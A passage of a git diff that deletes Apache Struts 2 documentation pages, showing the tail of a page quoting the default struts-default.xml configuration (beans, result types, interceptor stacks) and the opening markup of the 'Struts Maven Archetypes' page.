-    &lt;bean type=&quot;com.opensymphony.xwork2.conversion.TypeConverterHolder&quot; name=&quot;struts&quot; class=&quot;com.opensymphony.xwork2.conversion.impl.DefaultTypeConverterHolder&quot; /&gt;
-
-    &lt;bean class=&quot;com.opensymphony.xwork2.conversion.impl.XWorkBasicConverter&quot; /&gt;
-
-    &lt;bean type=&quot;com.opensymphony.xwork2.conversion.impl.CollectionConverter&quot; name=&quot;struts&quot; class=&quot;com.opensymphony.xwork2.conversion.impl.CollectionConverter&quot; scope=&quot;singleton&quot;/&gt;
-    &lt;bean type=&quot;com.opensymphony.xwork2.conversion.impl.ArrayConverter&quot; name=&quot;struts&quot; class=&quot;com.opensymphony.xwork2.conversion.impl.ArrayConverter&quot; scope=&quot;singleton&quot;/&gt;
-    &lt;bean type=&quot;com.opensymphony.xwork2.conversion.impl.DateConverter&quot; name=&quot;struts&quot; class=&quot;com.opensymphony.xwork2.conversion.impl.DateConverter&quot; scope=&quot;singleton&quot;/&gt;
-    &lt;bean type=&quot;com.opensymphony.xwork2.conversion.impl.NumberConverter&quot; name=&quot;struts&quot; class=&quot;com.opensymphony.xwork2.conversion.impl.NumberConverter&quot; scope=&quot;singleton&quot;/&gt;
-    &lt;bean type=&quot;com.opensymphony.xwork2.conversion.impl.StringConverter&quot; name=&quot;struts&quot; class=&quot;com.opensymphony.xwork2.conversion.impl.StringConverter&quot; scope=&quot;singleton&quot;/&gt;
-
-    &lt;bean type=&quot;com.opensymphony.xwork2.LocalizedTextProvider&quot; name=&quot;global-only&quot; class=&quot;com.opensymphony.xwork2.util.GlobalLocalizedTextProvider&quot; scope=&quot;singleton&quot; /&gt;
-    &lt;bean type=&quot;com.opensymphony.xwork2.LocalizedTextProvider&quot; name=&quot;struts&quot; class=&quot;com.opensymphony.xwork2.util.StrutsLocalizedTextProvider&quot; scope=&quot;singleton&quot; /&gt;
-
-    &lt;bean type=&quot;com.opensymphony.xwork2.TextProvider&quot; name=&quot;system&quot; class=&quot;com.opensymphony.xwork2.DefaultTextProvider&quot; scope=&quot;singleton&quot; /&gt;
-    &lt;bean type=&quot;com.opensymphony.xwork2.TextProviderFactory&quot; name=&quot;struts&quot; class=&quot;com.opensymphony.xwork2.StrutsTextProviderFactory&quot; scope=&quot;singleton&quot; /&gt;
-    &lt;bean type=&quot;com.opensymphony.xwork2.LocaleProviderFactory&quot; name=&quot;struts&quot; class=&quot;com.opensymphony.xwork2.DefaultLocaleProviderFactory&quot; scope=&quot;singleton&quot; /&gt;
-
-    &lt;bean type=&quot;org.apache.struts2.components.UrlRenderer&quot; name=&quot;struts&quot; class=&quot;org.apache.struts2.components.ServletUrlRenderer&quot;/&gt;
-    &lt;bean type=&quot;org.apache.struts2.views.util.UrlHelper&quot; name=&quot;struts&quot; class=&quot;org.apache.struts2.views.util.DefaultUrlHelper&quot;/&gt;
-
-    &lt;bean type=&quot;com.opensymphony.xwork2.util.ValueStackFactory&quot; name=&quot;struts&quot; class=&quot;com.opensymphony.xwork2.ognl.OgnlValueStackFactory&quot; /&gt;
-    &lt;bean type=&quot;com.opensymphony.xwork2.util.reflection.ReflectionProvider&quot; name=&quot;struts&quot; class=&quot;com.opensymphony.xwork2.ognl.OgnlReflectionProvider&quot; /&gt;
-    &lt;bean type=&quot;com.opensymphony.xwork2.util.reflection.ReflectionContextFactory&quot; name=&quot;struts&quot; class=&quot;com.opensymphony.xwork2.ognl.OgnlReflectionContextFactory&quot; /&gt;
-
-    &lt;bean type=&quot;com.opensymphony.xwork2.conversion.NullHandler&quot; name=&quot;java.lang.Object&quot; class=&quot;com.opensymphony.xwork2.conversion.impl.InstantiatingNullHandler&quot; /&gt;
-
-    &lt;bean type=&quot;com.opensymphony.xwork2.validator.ActionValidatorManager&quot; name=&quot;struts&quot; class=&quot;com.opensymphony.xwork2.validator.AnnotationActionValidatorManager&quot; /&gt;
-    &lt;bean type=&quot;com.opensymphony.xwork2.validator.ActionValidatorManager&quot; name=&quot;no-annotations&quot; class=&quot;com.opensymphony.xwork2.validator.DefaultActionValidatorManager&quot; /&gt;
-
-    &lt;bean type=&quot;com.opensymphony.xwork2.validator.ValidatorFactory&quot; class=&quot;com.opensymphony.xwork2.validator.DefaultValidatorFactory&quot;/&gt;
-    &lt;bean type=&quot;com.opensymphony.xwork2.validator.ValidatorFileParser&quot; class=&quot;com.opensymphony.xwork2.validator.DefaultValidatorFileParser&quot; /&gt;
-
-    &lt;bean class=&quot;com.opensymphony.xwork2.ognl.OgnlUtil&quot; /&gt;
-
-    &lt;bean type=&quot;com.opensymphony.xwork2.util.TextParser&quot; name=&quot;struts&quot; class=&quot;com.opensymphony.xwork2.util.OgnlTextParser&quot; scope=&quot;singleton&quot;/&gt;
-
-    &lt;bean type=&quot;ognl.PropertyAccessor&quot; name=&quot;com.opensymphony.xwork2.util.CompoundRoot&quot; class=&quot;com.opensymphony.xwork2.ognl.accessor.CompoundRootAccessor&quot; /&gt;
-    &lt;bean type=&quot;ognl.PropertyAccessor&quot; name=&quot;java.lang.Object&quot; class=&quot;com.opensymphony.xwork2.ognl.accessor.ObjectAccessor&quot; /&gt;
-    &lt;bean type=&quot;ognl.PropertyAccessor&quot; name=&quot;java.util.Iterator&quot; class=&quot;com.opensymphony.xwork2.ognl.accessor.XWorkIteratorPropertyAccessor&quot; /&gt;
-    &lt;bean type=&quot;ognl.PropertyAccessor&quot; name=&quot;java.util.Enumeration&quot; class=&quot;com.opensymphony.xwork2.ognl.accessor.XWorkEnumerationAccessor&quot; /&gt;
-    &lt;bean type=&quot;ognl.PropertyAccessor&quot; name=&quot;java.util.List&quot; class=&quot;com.opensymphony.xwork2.ognl.accessor.XWorkListPropertyAccessor&quot; /&gt;
-    &lt;bean type=&quot;ognl.PropertyAccessor&quot; name=&quot;java.util.Set&quot; class=&quot;com.opensymphony.xwork2.ognl.accessor.XWorkCollectionPropertyAccessor&quot; /&gt;
-    &lt;bean type=&quot;ognl.PropertyAccessor&quot; name=&quot;java.util.Map&quot; class=&quot;com.opensymphony.xwork2.ognl.accessor.XWorkMapPropertyAccessor&quot; /&gt;
-    &lt;bean type=&quot;ognl.PropertyAccessor&quot; name=&quot;java.util.Collection&quot; class=&quot;com.opensymphony.xwork2.ognl.accessor.XWorkCollectionPropertyAccessor&quot; /&gt;
-    &lt;bean type=&quot;ognl.PropertyAccessor&quot; name=&quot;com.opensymphony.xwork2.ognl.ObjectProxy&quot; class=&quot;com.opensymphony.xwork2.ognl.accessor.ObjectProxyPropertyAccessor&quot; /&gt;
-    &lt;bean type=&quot;ognl.PropertyAccessor&quot; name=&quot;org.apache.struts2.dispatcher.HttpParameters&quot; class=&quot;com.opensymphony.xwork2.ognl.accessor.HttpParametersPropertyAccessor&quot; /&gt;
-    &lt;bean type=&quot;ognl.PropertyAccessor&quot; name=&quot;org.apache.struts2.dispatcher.Parameter&quot; class=&quot;com.opensymphony.xwork2.ognl.accessor.ParameterPropertyAccessor&quot; /&gt;
-
-    &lt;bean type=&quot;ognl.MethodAccessor&quot; name=&quot;java.lang.Object&quot; class=&quot;com.opensymphony.xwork2.ognl.accessor.XWorkMethodAccessor&quot; /&gt;
-    &lt;bean type=&quot;ognl.MethodAccessor&quot; name=&quot;com.opensymphony.xwork2.util.CompoundRoot&quot; class=&quot;com.opensymphony.xwork2.ognl.accessor.CompoundRootAccessor&quot; /&gt;
-
-    &lt;bean class=&quot;org.apache.struts2.views.jsp.ui.OgnlTool&quot; /&gt;
-
-    &lt;bean type=&quot;org.apache.struts2.dispatcher.StaticContentLoader&quot; class=&quot;org.apache.struts2.dispatcher.DefaultStaticContentLoader&quot; name=&quot;struts&quot; /&gt;
-    &lt;bean type=&quot;com.opensymphony.xwork2.UnknownHandlerManager&quot; class=&quot;com.opensymphony.xwork2.DefaultUnknownHandlerManager&quot; name=&quot;struts&quot; /&gt;
-
-    &lt;bean type=&quot;org.apache.struts2.dispatcher.DispatcherErrorHandler&quot; name=&quot;struts&quot; class=&quot;org.apache.struts2.dispatcher.DefaultDispatcherErrorHandler&quot; /&gt;
-    
-    &lt;constant name=&quot;struts.dispatcher.errorHandler&quot; value=&quot;struts&quot; /&gt;
-
-    &lt;!--  Silly workarounds for OGNL since there is currently no way to flush its internal caches --&gt;
-    &lt;bean type=&quot;ognl.PropertyAccessor&quot; name=&quot;java.util.ArrayList&quot; class=&quot;com.opensymphony.xwork2.ognl.accessor.XWorkListPropertyAccessor&quot; /&gt;
-    &lt;bean type=&quot;ognl.PropertyAccessor&quot; name=&quot;java.util.HashSet&quot; class=&quot;com.opensymphony.xwork2.ognl.accessor.XWorkCollectionPropertyAccessor&quot; /&gt;
-    &lt;bean type=&quot;ognl.PropertyAccessor&quot; name=&quot;java.util.HashMap&quot; class=&quot;com.opensymphony.xwork2.ognl.accessor.XWorkMapPropertyAccessor&quot; /&gt;
-
-    &lt;bean type=&quot;com.opensymphony.xwork2.security.ExcludedPatternsChecker&quot; name=&quot;struts&quot; class=&quot;com.opensymphony.xwork2.security.DefaultExcludedPatternsChecker&quot; scope=&quot;prototype&quot; /&gt;
-    &lt;bean type=&quot;com.opensymphony.xwork2.security.AcceptedPatternsChecker&quot; name=&quot;struts&quot; class=&quot;com.opensymphony.xwork2.security.DefaultAcceptedPatternsChecker&quot; scope=&quot;prototype&quot; /&gt;
-
-    &lt;bean type=&quot;com.opensymphony.xwork2.config.providers.ValueSubstitutor&quot; class=&quot;com.opensymphony.xwork2.config.providers.EnvsValueSubstitutor&quot; scope=&quot;singleton&quot;/&gt;
-
-    &lt;package name=&quot;struts-default&quot; abstract=&quot;true&quot; strict-method-invocation=&quot;true&quot;&gt;
-        &lt;result-types&gt;
-            &lt;result-type name=&quot;chain&quot; class=&quot;com.opensymphony.xwork2.ActionChainResult&quot;/&gt;
-            &lt;result-type name=&quot;dispatcher&quot; class=&quot;org.apache.struts2.result.ServletDispatcherResult&quot; default=&quot;true&quot;/&gt;
-            &lt;result-type name=&quot;freemarker&quot; class=&quot;org.apache.struts2.views.freemarker.FreemarkerResult&quot;/&gt;
-            &lt;result-type name=&quot;httpheader&quot; class=&quot;org.apache.struts2.result.HttpHeaderResult&quot;/&gt;
-            &lt;result-type name=&quot;redirect&quot; class=&quot;org.apache.struts2.result.ServletRedirectResult&quot;/&gt;
-            &lt;result-type name=&quot;redirectAction&quot; class=&quot;org.apache.struts2.result.ServletActionRedirectResult&quot;/&gt;
-            &lt;result-type name=&quot;stream&quot; class=&quot;org.apache.struts2.result.StreamResult&quot;/&gt;
-            &lt;result-type name=&quot;velocity&quot; class=&quot;org.apache.struts2.result.VelocityResult&quot;/&gt;
-            &lt;result-type name=&quot;xslt&quot; class=&quot;org.apache.struts2.views.xslt.XSLTResult&quot;/&gt;
-            &lt;result-type name=&quot;plainText&quot; class=&quot;org.apache.struts2.result.PlainTextResult&quot; /&gt;
-            &lt;result-type name=&quot;postback&quot; class=&quot;org.apache.struts2.result.PostbackResult&quot; /&gt;
-        &lt;/result-types&gt;
-
-        &lt;interceptors&gt;
-            &lt;interceptor name=&quot;alias&quot; class=&quot;com.opensymphony.xwork2.interceptor.AliasInterceptor&quot;/&gt;
-            &lt;interceptor name=&quot;autowiring&quot; class=&quot;com.opensymphony.xwork2.spring.interceptor.ActionAutowiringInterceptor&quot;/&gt;
-            &lt;interceptor name=&quot;chain&quot; class=&quot;com.opensymphony.xwork2.interceptor.ChainingInterceptor&quot;/&gt;
-            &lt;interceptor name=&quot;conversionError&quot; class=&quot;org.apache.struts2.interceptor.StrutsConversionErrorInterceptor&quot;/&gt;
-            &lt;interceptor name=&quot;cookie&quot; class=&quot;org.apache.struts2.interceptor.CookieInterceptor&quot;/&gt;
-            &lt;interceptor name=&quot;cookieProvider&quot; class=&quot;org.apache.struts2.interceptor.CookieProviderInterceptor&quot;/&gt;
-            &lt;interceptor name=&quot;clearSession&quot; class=&quot;org.apache.struts2.interceptor.ClearSessionInterceptor&quot; /&gt;
-            &lt;interceptor name=&quot;createSession&quot; class=&quot;org.apache.struts2.interceptor.CreateSessionInterceptor&quot; /&gt;
-            &lt;interceptor name=&quot;debugging&quot; class=&quot;org.apache.struts2.interceptor.debugging.DebuggingInterceptor&quot; /&gt;
-            &lt;interceptor name=&quot;execAndWait&quot; class=&quot;org.apache.struts2.interceptor.ExecuteAndWaitInterceptor&quot;/&gt;
-            &lt;interceptor name=&quot;exception&quot; class=&quot;com.opensymphony.xwork2.interceptor.ExceptionMappingInterceptor&quot;/&gt;
-            &lt;interceptor name=&quot;fileUpload&quot; class=&quot;org.apache.struts2.interceptor.FileUploadInterceptor&quot;/&gt;
-            &lt;interceptor name=&quot;i18n&quot; class=&quot;org.apache.struts2.interceptor.I18nInterceptor&quot;/&gt;
-            &lt;interceptor name=&quot;logger&quot; class=&quot;com.opensymphony.xwork2.interceptor.LoggingInterceptor&quot;/&gt;
-            &lt;interceptor name=&quot;modelDriven&quot; class=&quot;com.opensymphony.xwork2.interceptor.ModelDrivenInterceptor&quot;/&gt;
-            &lt;interceptor name=&quot;scopedModelDriven&quot; class=&quot;com.opensymphony.xwork2.interceptor.ScopedModelDrivenInterceptor&quot;/&gt;
-            &lt;interceptor name=&quot;params&quot; class=&quot;com.opensymphony.xwork2.interceptor.ParametersInterceptor&quot;/&gt;
-            &lt;interceptor name=&quot;actionMappingParams&quot; class=&quot;org.apache.struts2.interceptor.ActionMappingParametersInteceptor&quot;/&gt;
-            &lt;interceptor name=&quot;prepare&quot; class=&quot;com.opensymphony.xwork2.interceptor.PrepareInterceptor&quot;/&gt;
-            &lt;interceptor name=&quot;staticParams&quot; class=&quot;com.opensymphony.xwork2.interceptor.StaticParametersInterceptor&quot;/&gt;
-            &lt;interceptor name=&quot;scope&quot; class=&quot;org.apache.struts2.interceptor.ScopeInterceptor&quot;/&gt;
-            &lt;interceptor name=&quot;servletConfig&quot; class=&quot;org.apache.struts2.interceptor.ServletConfigInterceptor&quot;/&gt;
-            &lt;interceptor name=&quot;timer&quot; class=&quot;com.opensymphony.xwork2.interceptor.TimerInterceptor&quot;/&gt;
-            &lt;interceptor name=&quot;token&quot; class=&quot;org.apache.struts2.interceptor.TokenInterceptor&quot;/&gt;
-            &lt;interceptor name=&quot;tokenSession&quot; class=&quot;org.apache.struts2.interceptor.TokenSessionStoreInterceptor&quot;/&gt;
-            &lt;interceptor name=&quot;validation&quot; class=&quot;org.apache.struts2.interceptor.validation.AnnotationValidationInterceptor&quot;/&gt;
-            &lt;interceptor name=&quot;workflow&quot; class=&quot;com.opensymphony.xwork2.interceptor.DefaultWorkflowInterceptor&quot;/&gt;
-            &lt;interceptor name=&quot;store&quot; class=&quot;org.apache.struts2.interceptor.MessageStoreInterceptor&quot; /&gt;
-            &lt;interceptor name=&quot;checkbox&quot; class=&quot;org.apache.struts2.interceptor.CheckboxInterceptor&quot; /&gt;
-            &lt;interceptor name=&quot;datetime&quot; class=&quot;org.apache.struts2.interceptor.DateTextFieldInterceptor&quot; /&gt;
-            &lt;interceptor name=&quot;profiling&quot; class=&quot;org.apache.struts2.interceptor.ProfilingActivationInterceptor&quot; /&gt;
-            &lt;interceptor name=&quot;roles&quot; class=&quot;org.apache.struts2.interceptor.RolesInterceptor&quot; /&gt;
-            &lt;interceptor name=&quot;annotationWorkflow&quot; class=&quot;com.opensymphony.xwork2.interceptor.annotations.AnnotationWorkflowInterceptor&quot; /&gt;
-            &lt;interceptor name=&quot;multiselect&quot; class=&quot;org.apache.struts2.interceptor.MultiselectInterceptor&quot; /&gt;
-            &lt;interceptor name=&quot;noop&quot; class=&quot;org.apache.struts2.interceptor.NoOpInterceptor&quot; /&gt;
-
-            &lt;!-- Empty stack - performs no operations --&gt;
-            &lt;interceptor-stack name=&quot;emptyStack&quot;&gt;
-                &lt;interceptor-ref name=&quot;noop&quot;/&gt;
-            &lt;/interceptor-stack&gt;
-
-            &lt;!-- Basic stack --&gt;
-            &lt;interceptor-stack name=&quot;basicStack&quot;&gt;
-                &lt;interceptor-ref name=&quot;exception&quot;/&gt;
-                &lt;interceptor-ref name=&quot;servletConfig&quot;/&gt;
-                &lt;interceptor-ref name=&quot;prepare&quot;/&gt;
-                &lt;interceptor-ref name=&quot;checkbox&quot;/&gt;
-                &lt;interceptor-ref name=&quot;datetime&quot;/&gt;
-                &lt;interceptor-ref name=&quot;multiselect&quot;/&gt;
-                &lt;interceptor-ref name=&quot;actionMappingParams&quot;/&gt;
-                &lt;interceptor-ref name=&quot;params&quot;/&gt;
-                &lt;interceptor-ref name=&quot;conversionError&quot;/&gt;
-            &lt;/interceptor-stack&gt;
-
-            &lt;!-- Sample validation and workflow stack --&gt;
-            &lt;interceptor-stack name=&quot;validationWorkflowStack&quot;&gt;
-                &lt;interceptor-ref name=&quot;basicStack&quot;/&gt;
-                &lt;interceptor-ref name=&quot;validation&quot;/&gt;
-                &lt;interceptor-ref name=&quot;workflow&quot;/&gt;
-            &lt;/interceptor-stack&gt;
-
-            &lt;!-- Sample file upload stack --&gt;
-            &lt;interceptor-stack name=&quot;fileUploadStack&quot;&gt;
-                &lt;interceptor-ref name=&quot;fileUpload&quot;/&gt;
-                &lt;interceptor-ref name=&quot;basicStack&quot;/&gt;
-            &lt;/interceptor-stack&gt;
-
-            &lt;!-- Sample model-driven stack  --&gt;
-            &lt;interceptor-stack name=&quot;modelDrivenStack&quot;&gt;
-                &lt;interceptor-ref name=&quot;modelDriven&quot;/&gt;
-                &lt;interceptor-ref name=&quot;basicStack&quot;/&gt;
-            &lt;/interceptor-stack&gt;
-
-            &lt;!-- Sample action chaining stack --&gt;
-            &lt;interceptor-stack name=&quot;chainStack&quot;&gt;
-                &lt;interceptor-ref name=&quot;chain&quot;/&gt;
-                &lt;interceptor-ref name=&quot;basicStack&quot;/&gt;
-            &lt;/interceptor-stack&gt;
-
-            &lt;!-- Sample i18n stack --&gt;
-            &lt;interceptor-stack name=&quot;i18nStack&quot;&gt;
-                &lt;interceptor-ref name=&quot;i18n&quot;/&gt;
-                &lt;interceptor-ref name=&quot;basicStack&quot;/&gt;
-            &lt;/interceptor-stack&gt;
-
-            &lt;!-- An example of the paramsPrepareParams trick. This stack
-                 is exactly the same as the defaultStack, except that it
-                 includes one extra interceptor before the prepare interceptor:
-                 the params interceptor.
-
-                 This is useful for when you wish to apply parameters directly
-                 to an object that you wish to load externally (such as a DAO
-                 or database or service layer), but can&#39;t load that object
-                 until at least the ID parameter has been loaded. By loading
-                 the parameters twice, you can retrieve the object in the
-                 prepare() method, allowing the second params interceptor to
-                 apply the values on the object. --&gt;
-            &lt;interceptor-stack name=&quot;paramsPrepareParamsStack&quot;&gt;
-                &lt;interceptor-ref name=&quot;exception&quot;/&gt;
-                &lt;interceptor-ref name=&quot;alias&quot;/&gt;
-                &lt;interceptor-ref name=&quot;i18n&quot;/&gt;
-                &lt;interceptor-ref name=&quot;checkbox&quot;/&gt;
-                &lt;interceptor-ref name=&quot;datetime&quot;/&gt;
-                &lt;interceptor-ref name=&quot;multiselect&quot;/&gt;
-                &lt;interceptor-ref name=&quot;params&quot;/&gt;
-                &lt;interceptor-ref name=&quot;servletConfig&quot;/&gt;
-                &lt;interceptor-ref name=&quot;prepare&quot;/&gt;
-                &lt;interceptor-ref name=&quot;chain&quot;/&gt;
-                &lt;interceptor-ref name=&quot;modelDriven&quot;/&gt;
-                &lt;interceptor-ref name=&quot;fileUpload&quot;/&gt;
-                &lt;interceptor-ref name=&quot;staticParams&quot;/&gt;
-                &lt;interceptor-ref name=&quot;actionMappingParams&quot;/&gt;
-                &lt;interceptor-ref name=&quot;params&quot;/&gt;
-                &lt;interceptor-ref name=&quot;conversionError&quot;/&gt;
-                &lt;interceptor-ref name=&quot;validation&quot;&gt;
-                    &lt;param name=&quot;excludeMethods&quot;&gt;input,back,cancel,browse&lt;/param&gt;
-                &lt;/interceptor-ref&gt;
-                &lt;interceptor-ref name=&quot;workflow&quot;&gt;
-                    &lt;param name=&quot;excludeMethods&quot;&gt;input,back,cancel,browse&lt;/param&gt;
-                &lt;/interceptor-ref&gt;
-            &lt;/interceptor-stack&gt;
-
-            &lt;!-- A complete stack with all the common interceptors in place.
-                 Generally, this stack should be the one you use, though it
-                 may do more than you need. Also, the ordering can be
-                 switched around (ex: if you wish to have your servlet-related
-                 objects applied before prepare() is called, you&#39;d need to move
-                 servletConfig interceptor up.
-
-                 This stack also excludes from the normal validation and workflow
-                 the method names input, back, and cancel. These typically are
-                 associated with requests that should not be validated.
-                 --&gt;
-            &lt;interceptor-stack name=&quot;defaultStack&quot;&gt;
-                &lt;interceptor-ref name=&quot;exception&quot;/&gt;
-                &lt;interceptor-ref name=&quot;alias&quot;/&gt;
-                &lt;interceptor-ref name=&quot;servletConfig&quot;/&gt;
-                &lt;interceptor-ref name=&quot;i18n&quot;/&gt;
-                &lt;interceptor-ref name=&quot;prepare&quot;/&gt;
-                &lt;interceptor-ref name=&quot;chain&quot;/&gt;
-                &lt;interceptor-ref name=&quot;scopedModelDriven&quot;/&gt;
-                &lt;interceptor-ref name=&quot;modelDriven&quot;/&gt;
-                &lt;interceptor-ref name=&quot;fileUpload&quot;/&gt;
-                &lt;interceptor-ref name=&quot;checkbox&quot;/&gt;
-                &lt;interceptor-ref name=&quot;datetime&quot;/&gt;
-                &lt;interceptor-ref name=&quot;multiselect&quot;/&gt;
-                &lt;interceptor-ref name=&quot;staticParams&quot;/&gt;
-                &lt;interceptor-ref name=&quot;actionMappingParams&quot;/&gt;
-                &lt;interceptor-ref name=&quot;params&quot;/&gt;
-                &lt;interceptor-ref name=&quot;conversionError&quot;/&gt;
-                &lt;interceptor-ref name=&quot;validation&quot;&gt;
-                    &lt;param name=&quot;excludeMethods&quot;&gt;input,back,cancel,browse&lt;/param&gt;
-                &lt;/interceptor-ref&gt;
-                &lt;interceptor-ref name=&quot;workflow&quot;&gt;
-                    &lt;param name=&quot;excludeMethods&quot;&gt;input,back,cancel,browse&lt;/param&gt;
-                &lt;/interceptor-ref&gt;
-                &lt;interceptor-ref name=&quot;debugging&quot;/&gt;
-            &lt;/interceptor-stack&gt;
-
-            &lt;!-- The completeStack is here for backwards compatibility for
-                 applications that still refer to the defaultStack by the
-                 old name --&gt;
-            &lt;interceptor-stack name=&quot;completeStack&quot;&gt;
-                &lt;interceptor-ref name=&quot;defaultStack&quot;/&gt;
-            &lt;/interceptor-stack&gt;
-
-            &lt;!-- Sample execute and wait stack.
-                 Note: execAndWait should always be the *last* interceptor. --&gt;
-            &lt;interceptor-stack name=&quot;executeAndWaitStack&quot;&gt;
-                &lt;interceptor-ref name=&quot;execAndWait&quot;&gt;
-                    &lt;param name=&quot;excludeMethods&quot;&gt;input,back,cancel&lt;/param&gt;
-                &lt;/interceptor-ref&gt;
-                &lt;interceptor-ref name=&quot;defaultStack&quot;/&gt;
-                &lt;interceptor-ref name=&quot;execAndWait&quot;&gt;
-                    &lt;param name=&quot;excludeMethods&quot;&gt;input,back,cancel&lt;/param&gt;
-                &lt;/interceptor-ref&gt;
-            &lt;/interceptor-stack&gt;
-
-       &lt;/interceptors&gt;
-
-        &lt;default-interceptor-ref name=&quot;defaultStack&quot;/&gt;
-
-        &lt;default-class-ref class=&quot;com.opensymphony.xwork2.ActionSupport&quot; /&gt;
-
-        &lt;global-allowed-methods&gt;execute,input,back,cancel,browse,save,delete,list,index&lt;/global-allowed-methods&gt;
-
-    &lt;/package&gt;
-
-&lt;/struts&gt;
-]]></script>
-</div></div><p>This file defines all of the default bundled results and interceptors and many interceptor stacks which you can use either as-is or as a basis for your own application-specific interceptor stacks. <strong>Notice the name of the package is "struts-default"</strong>.</p></div>
-        </div>
-
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/struts-maven-archetypes.html b/content/docs/struts-maven-archetypes.html
deleted file mode 100644
index f6d6f80..0000000
--- a/content/docs/struts-maven-archetypes.html
+++ /dev/null
@@ -1,277 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <link href='https://struts.apache.org/highlighter/style/shCoreStruts.css' rel='stylesheet' type='text/css' />
-    <link href='https://struts.apache.org/highlighter/style/shThemeStruts.css' rel='stylesheet' type='text/css' />
-    <script src='https://struts.apache.org/highlighter/js/shCore.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushPlain.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushXml.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJava.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJScript.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushGroovy.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushBash.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushCss.js' type='text/javascript'></script>
-    <script type="text/javascript">
-        SyntaxHighlighter.defaults['toolbar'] = false;
-        SyntaxHighlighter.all();
-    </script>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>Struts Maven Archetypes</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="guides.html">Guides</a>&nbsp;&gt;&nbsp;<a href="core-developers-guide.html">Core Developers Guide</a>&nbsp;&gt;&nbsp;<a href="struts-maven-archetypes.html">Struts Maven Archetypes</a>
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">Struts Maven Archetypes</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=13990">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=13990">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=13990">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=13990">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=13990">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=13990">Add News</a>
-        </div>
-    </div>
-
